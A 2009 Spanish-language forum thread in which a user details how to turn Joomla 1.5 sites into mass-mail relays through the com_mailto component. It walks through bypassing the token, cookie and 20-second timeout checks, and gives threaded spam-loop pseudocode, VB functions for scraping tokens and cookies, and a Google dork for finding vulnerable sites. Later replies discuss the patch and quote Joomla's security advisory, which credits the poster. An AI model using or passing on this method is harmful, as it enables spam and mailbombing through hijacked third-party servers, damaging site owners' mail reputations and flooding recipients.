Utilizando Joomla 1.5 como servidor de correos masivos

Iniciado por WHK, 28 Julio 2009, 02:35 AM

0 Miembros y 1 Visitante están viendo este tema.

WHK

Utilizando Joomla como servidor de correos masivos

Bueno, ya hace bastante tiempo habia hecho un post detallando varias fallas de joomla de las cuales casi todas fueron reparadas.

Con el tiempo le envié un correo al soporte para que pudieran reparar otras nuevas fallas pero nunca respondieron y nunca los repararon tampoco jajajaja, será que les digo las cosas y lo toman a la ligera no se.

La otra ves publiqué el xss en el buscador y no lo parcharon hasta que publiqué un video de como subir una shell c99 desde ese xss, entonces ahi si lo repararon.

Ahora como piensan que estos bugs no son àra nada comprometedores les mostraré como crear un software para utilizar cualquier sitio web con joomla como servidor de correos masivos pero ojo que no publicaré ningún software hecho para evitar que cualquiera haga de las suyas ya que causa un desmadre al servidor.

Detalles técnicos
La falla está en el componente "MailTo" alias el "com_mailto".
No se si han visto que en algunos sitios webs que funcionan con joomla tienen tres íconos al lado del encabezado del mensaje de la portada... uno que es para imprimir, exportar en pdf y otro para enviar el tema por correo a un amigo como tipo de recomendación.
El problema esque este componente no exige captcha (imagen de verificación) por lo cual una automatización sería técnicamente posible asi que manos a la obra...

Primero que nada cuando enviamos un mail nos encontramos con la siguiente cabezera:
CitarPOST / HTTP/1.1
Host: localhost
Referer: http://localhost/index.php?option=com_mailto&tmpl=component&link=aHR0cDovLzEyNy4wLjAuMS9qb29tbGEvaW5kZXgucGhwP29wdGlvbj1jb21fY29ud
GVudCZ2aWV3PWFydGljbGUmaWQ9NDU6am9vbWxhLWNvbW11bml0eS1wb3J0YWw
mY2F0aWQ9MTpsYXRlc3QtbmV3cyZJdGVtaWQ9NTA=
User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8
Connection: Close
Cookie: 587e9de7c92cfd61e9b49249c8c904ec=3vq6lpo7v4gpg3uutvgot954k7;
Content-Type: application/x-www-form-urlencoded
Content-Length: 954

mailto=amigo%40gmail.com&sender=yo&from=yo%40hotmail.com&subject=Tema&link=aHR0cDovLzEyNy4wLjAuMS9qb29tbGEvaW5kZXgucGhwP29wdGlvbj1jb21fY29ud
GVudCZ2aWV3PWFydGljbGUmaWQ9NDU6am9vbWxhLWNvbW11bml0eS1wb3J0YWw
mY2F0aWQ9MTpsYXRlc3QtbmV3cyZJdGVtaWQ9NTA=&
428e4678e31b0b08571b7f7d2cb9cd4a=1&layout=default&option=com_mailto&task=send&tmpl=component

Acá podemos ver muchas cosas que son importantes y que le sirve a joomla para verificar que no seamos un bot.

1. Primero podemos ver el referer, asi que hay que tomarlo en cuenta al momento de enviar la petición, luego vemos que dentro del referer hay una serie de carácteres bién largo justo donde dice "link"... ese valor es la url que se enviará por correo diciendo a tu amgo que le haga click porque yo se la recomendé pero está cifrada en base64.

2. Ahora vemos una cookie con doble hash eso significa que tanto el valor como la variable son hashes aleatorios intentando entre comillas evadir una automatización ya que supuestamente el nombre de la cookie va al azar asi que "pienso" que se habrán roto la cabeza pensando que una cookie al azar podría evitar la captura del mismo limitando al usuario a utilizar solamente el explorador, pues bién... la capturamos y la utilizamos asi que ya sabemos que se necesita el referer, el link en base64 y la cookie con doble hash.

3. Vemos un token de verificación en la variable post y al igual que la cookie este es un hash al azar pero no es su contenido sinó en su nombre y de valor tiene un "1":
Citarmailto=amigo%40gmail.com&sender=yo&from=yo%40hotmail.com&subject=Tema&link=aHR0cDovLzEyNy4wLjAuMS9qb29tbGEvaW5kZXgucGhwP29wdGlvbj1jb21fY29ud
GVudCZ2aWV3PWFydGljbGUmaWQ9NDU6am9vbWxhLWNvbW11bml0eS1wb3J0YWw
mY2F0aWQ9MTpsYXRlc3QtbmV3cyZJdGVtaWQ9NTA=&428e4678e31b0b0
8571b7f7d2cb9cd4a=1
&layout=default&option=com_mailto&task=send&
tmpl=component
Normalmente la gente está acostumbrada a localizar el valor de un token por su nombre pero en este caso es solo cosa de verificar un input que tenga el valor de "1" y que su nombre contenga 32 carácteres que es la cantidad exacta de un hash en MD5.

4. Antes de enviar todo esto hay que recordar que se necesta hacer una petición GET a la página para obtener la cookie de antemano o como sabremos cual enviar, también pasa con el token y lo demás asi que solicitamos la web pero cuando queremos enviar el formulario nos va a decir que fue imposible su envío y esto se debe a que joomla te fuerza a esperar 20 segundos aproximadamente entre que te dan el token y lo usas asi que ya tenemos el referer, la cookie con doble hash, el link en base64, el token anticsrf y el tiempo de espera.

Ahora con estos 4 puntos que debería hacer evitar un envío automatizado desde un bot o lo que sea nos encontramos con dos bugs, el primero es lo que ya vieron (no usa captcha) y el segundo esque cuando pasas los 20 segundos de espera te añade un token en tu sesión de cookie que dice que ya terminó t espera de 20 segundos pero lo que no verifica esque que pasa si vuelvo a enviar otro correo, en ese caso ya no me hará esperar porque mi cookie dice que yo ya esperé asi que solo debo esperar 20 segundos para enviar mis veintemil cuatrocientos noventa y un correos seguidos a los destinatarios que yo quiera porque el hash de la cookie y el token anticsrf no cambia en cada envío asi que puedo modificar cualquier dato del mail.

Pseudo-código
El software pide los siguientes datos:
url_del_joomla
para_email
de_nombre
de_correo
asunto_de_correo
X_Hilos
mensaje_al_mamahuevo[255]
/* de 255 carácteres porque esto irá en la petición GET asi que no debe sobrepasar la cantidad de carácteres límite de apache */

/* Inicia el proceso de recaudación de datos iniciales */
url = directorio(url_de_joomla) // Obtiene el directorio del joomla
host = servidor(ur_de_joomla) // Obtiene el nombre de dominio del url
Socket1 conecta a url_del_joomla puerto 80 protocolo TCP
Socket1 Envía los siguientes datos ->  // Protocolo HTTP -->
GET " +  url + "index.php?option=com_mailto&tmpl=component&link=" + urlencode(base64_encode(mensaje_al_mamahuevo)) + " HTTP/1.1" + (un salto de linea) +
"Host: " +  host + (un salto de linea) +
"Connection: close" + (un salto de linea) +
"User-Agent: Agente de usuario a gusto" + (dos saltos de linea)

Buffer = Recibe los datos debueltos por el socket
Cookie = función obtiene cookies (Buffer)
Token = función obtiene Token (Buffer)

Si la cookie tiene menos de 40 carácteres entonces es inválido y finaliza
/* Porque es n hash de 32 carácteres mas un pequeño hash desde 10 a 30 carácteres. */

Si el token no es de 32 carácteres entonces es inválido y finaliza
/* Porque un hash md5 es de 32 carácteres */

Esperar 20 segundos

Inicio del Loop
Crear hilo de proceso con lo siguiente{ /* Con un máximo de X_hilos (por defecto usar 100)*/
 Inicio del Segundo Loop
  Si de_nombre es igual a "azar" entonces el de_nombre son 7 carácteres alfanuméricos al azar
  Si de_correo es igual a "azar" entonces el de_correo son 7 carácteres alfanuméricos al azar + "@" + el servidor que yo quiera pero que sea conocido
  Si el asunto es igual a "azar" entonces el asunto es igual a 7 carácteres alfanuméricos al azar

  Crea un nuevo Socket y lo conecta a url_de_joomla puerto 80 Protocolo TCP
 PostData es igual a -->
 "mailto=" + URLEncode(para_email) + (un salto de linea) +
 "&sender=" + URLEncode(de_nombre) + (un salto de linea) +
 "&from=" + URLEncode(de_correo) + (un salto de linea) +
 "&subject=" + URLEncode(asunto) + (un salto de linea) +
 "&link=" + URLEncode(EncodeStr64(Text9.Text)) + (un salto de linea) +
 "&" + URLEncode(Text11.Text) + "=1" + (un salto de linea) +
 "&layout=default&option=com_mailto&task=send&tmpl=component"

 El Socket creado envía lo siguiente ->
 "POST " + url + " HTTP/1.1" + (un salto de linea) +
 "Host: " + host + (un salto de linea) +
 "Referer: http://" + host + url + "index.php?option=com_mailto&tmpl=component&link=" + URLEncode(EncodeStr64(mensaje_al_mamahuevo)) + (un salto de linea) +
 "User-Agent: a elección pero que sea el mismo que el anterior" + (un salto de linea) +
 "Connection: Close" + (un salto de linea) +
 "Cookie:" + cookies + (un salto de linea) +
 "Content-Type: application/x-www-form-urlencoded" + (un salto de linea) +
 "Content-Length: " + cantidad de carácteres de PostData + (dos saltos de linea) +
 PostData + (dos saltos de linea)

Cuando se desconecte volver al SegundoLoop
}
Final del Loop


Al final debería quedar algo así:


No puedo poner el binario o la fuente directamente pero pondré el módulo hecho en visual basic para capturar el token y la cookie:

Código (vb) [Seleccionar]
Public Function Obtener_Token(Buffer As String) As String
Dim Hash As String
Hash = InStr(1, Buffer, Chr(34) & " value=" & Chr(34) & "1" & Chr(34) & " />") ' " value="1" />
If Hash = 0 Then
Exit Function
Else
Obtener_Token = Mid$(Buffer, Int(Hash - 32), 32) ' Hash de 32 bites
End If
End Function

Public Function Obtener_Cookies(Buffer As String, Phpsessid_Off As Boolean) As String
Dim Temporal As String, Cookie As String
Rebuscar:
Cookie = InStr(1, Buffer, "Set-Cookie: ")
If Cookie = 0 Then
Exit Function
Else
Buffer = Mid$(Buffer, Cookie, Len(Buffer))
Cookie = InStr(1, Buffer, ";")
Temporal = Mid$(Buffer, 1, Cookie)
Buffer = Mid$(Buffer, Cookie, Len(Buffer))
Temporal = Replace(Temporal, "Set-Cookie: ", "")
If Phpsessid_Off = True Then
 If Not Eregi("phpsessid", LCase(Temporal)) Then Obtener_Cookies = Obtener_Cookies & " " & Temporal
Else
 Obtener_Cookies = Obtener_Cookies & " " & Temporal
End If
DoEvents
GoTo Rebuscar
End If
End Function

Public Function URLEncode(sRawURL As String) As String
   On Error GoTo Catch
   Dim iLoop As Integer
   Dim sRtn As String
   Dim sTmp As String
   Const sValidChars = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz:._-(){}~"


   If Len(sRawURL) > 0 Then
       ' Loop through each char


       For iLoop = 1 To Len(sRawURL)
           sTmp = Mid(sRawURL, iLoop, 1)


           If InStr(1, sValidChars, sTmp, vbBinaryCompare) = 0 Then
               ' If not ValidChar, convert to HEX and p
               '     refix with %
               sTmp = Hex(Asc(sTmp))


               If sTmp = "20" Then
                   sTmp = "+"
               ElseIf Len(sTmp) = 1 Then
                   sTmp = "%0" & sTmp
               Else
                   sTmp = "%" & sTmp
               End If

           End If

           sRtn = sRtn & sTmp
       Next iLoop

       URLEncode = sRtn
   End If

Finally:
   Exit Function
Catch:
   URLEncode = ""
   Resume Finally
End Function

Public Function Eregi(Condicion As String, Buffer As String) As Boolean
If InStr(1, Buffer, Condicion) > 0 Then Eregi = True Else Eregi = False
End Function

Public Function Nick_Azar() As String
Nick_Azar = _
Chr(Int(Rnd * 23) + 98) & _
Chr(Int(Rnd * 23) + 98) & _
Chr(Int(Rnd * 23) + 98) & _
Chr(Int(Rnd * 23) + 98) & _
Chr(Int(Rnd * 23) + 98) & _
Chr(Int(Rnd * 23) + 98) & _
Chr(Int(Rnd * 23) + 98)
End Function


al Obtener_Cookies le dan el bffer y le ponen como segunda variable un false para que devuelva la cookie que no es phpsessid y evita repeticiones de cookies como pasa en algunos sistemas como smf.

Y debería causar algo como esto:
http://img.drawcoders.net/index.php?acn=observar&idi=c8ce715057_spam.JPG

Pero está claro que es solo un ejemplo y que el software no no no no es real y es solo algo hecho en photoshop al igual que la otra captura :P
PD: Portalhack.us fue avisado y deshabilitaron ese componente asi que no los molesten.

Soy muy malo para hacer pseudocódigos asi que no reclamen por el source :xD , se que falta destruir variables y verificar datos numéricos en inputs, etc etc etc pero solo mostré lo básico de como hacerlo, el resto ya es imaginación.

Consecuencias
Hay muchas consecuencias y la mas fatal es que tu servidor puede quedar dentro de la lista negra de servidores de correos como gmail, yahoo, etc y todos los correos que provengan de tu servidor se irán directamente a la bandeja de spam tenga el contenido que sea y con eso tu servidor morirá para enviar correos (o como se dice, se va a quemar).
La otra consecuencia es que puede haber gente victima de bombardeos de miles de correos con destinatarios diferentes y harás colapsar a tu pobre amigo tratando de borrar tanto correo ya que tendrá que fijarse si entre esos correos hay alguno normal o tirará todo lo que le llegue a su papelera dejando inutilizable su correo sea cual sea, ya que mandarlo como spam no serviría porque el atacante puede usar cuanto servidor se le cruze.
El otro problema es que le baja el autoestima al programador por estar haciendo makinas de spam  :-[

También conversaba con un amigo sobre las consecuencias que podría llegar a causar esto ya que hay que tomar en cuenta que todos los correos llegan a la bandeja de entrada a menos que el servidor ya esté quemado pero de 100 talves uno no funcione, además podría cargarse un archivo de texto con correos y otro listado con sitios que usen joomla y tener una makina para espamear gratis sin kemar su propio server pero bueno, son cosas, desastres de la naturaleza hasta que lo reparen o aver si ahora si le dan importancia o simplemente comienze la gente a deshabilitar sus componentes.

Solución
Puedes integrarle una captcha a ese componente editando su código fuente para que acepte el valor del input de la captcha o simplemente deshabilita la opción de enviar email desde el menú de contenido yte vas a configuraciones, luego le das en no mostrar envío de email y pr si las dudas te vas a "instalar/desintalar" y deshabilitas el componente "com_mailto".


PD: en este tuto no salió ningún correo ni servidor dañado.
PD2:
GoogleDork: http://www.google.cl/search?hl=es&q=index.php%3Foption%3Dcom_content%26view%3Darticle%26id%3D+%26Itemid%3D&btnG=Buscar+con+Google&meta=&aq=f&oq=

toxeek

"La envidia es una declaración de inferioridad"
Napoleón.

WHK

#2
jajaja septiembre del 2008  :xD, bueno.. será la fiesta de los spammers  :xD ya es problema de ellos, desde que tuvieron rpoblemas con el componente del  buscador y la eliminación de imagenes que les ando avisando por correo y traker.

http://www.joomla.org/index.php?option=com_mailto&tmpl=component&link=x

Nakp

CitarSolution

Upgrade to latest Joomla! version (1.5.7 or newer).

Reported By Phil Taylor

al parecer la "actualización" lo arreglaba
Ojo por ojo, y el mundo acabará ciego.

Og.

entonces en la 1.5.7 ya no sirve?
pero si en este momento esta la 1.5.13
yo pense que eso era nuevo  :P
|-

WHK

Citaral parecer la "actualización" lo arreglaba
pero no, lo que le agregaron a la 1.5.7 fue el tiempo de retardo pero solo te restringe el primer envío no todos los demás.
Probé con www.joomla.org y si funciona.

WHK

#6
Ya lo repararon (en parte) y apareció en el correo del voletín de seguridad de joomla  :P
CitarJoomla! Security News
   

[20090723] - Core - com_mailto Timeout Issue

Posted: 22 Jul 2009 04:36 PM PDT

   * Project: Joomla!
   * SubProject: com_mailto
   * Severity: Low
   * Versions: 1.5.13 and all previous 1.5 releases
   * Exploit type: Email
   * Reported Date: 2009-July-28
   * Fixed Date: 2009-July-30

Description

In com_mailto, it was possible to bypass timeout protection against sending automated emails.
Affected Installs

All 1.5.x installs prior to and including 1.5.13 are affected.
Solution

Upgrade to latest Joomla! version (1.5.14 or newer).

Reported by WHK and Gergő Erdősi
Contact

The JSST at the Joomla! Security Center.
You are subscribed to email updates from Joomla! Developer - Vulnerability News
To stop receiving these emails, you may unsubscribe now.   Email delivery powered by Google
Google Inc., 20 West Kinzie, Chicago IL USA 60610

Por lo menos en esta versión de joomla evita el bypass de los 20 segundos, así no puedes enviar mas de un mail por cada esa cantidad de segundos.

De todas formas el mundo es grande y quedan muchos servidores desparchados o desactualizados  :xD

http://developer.joomla.org/security/news/303-20090723-core-com-mailto-timeout-issue.html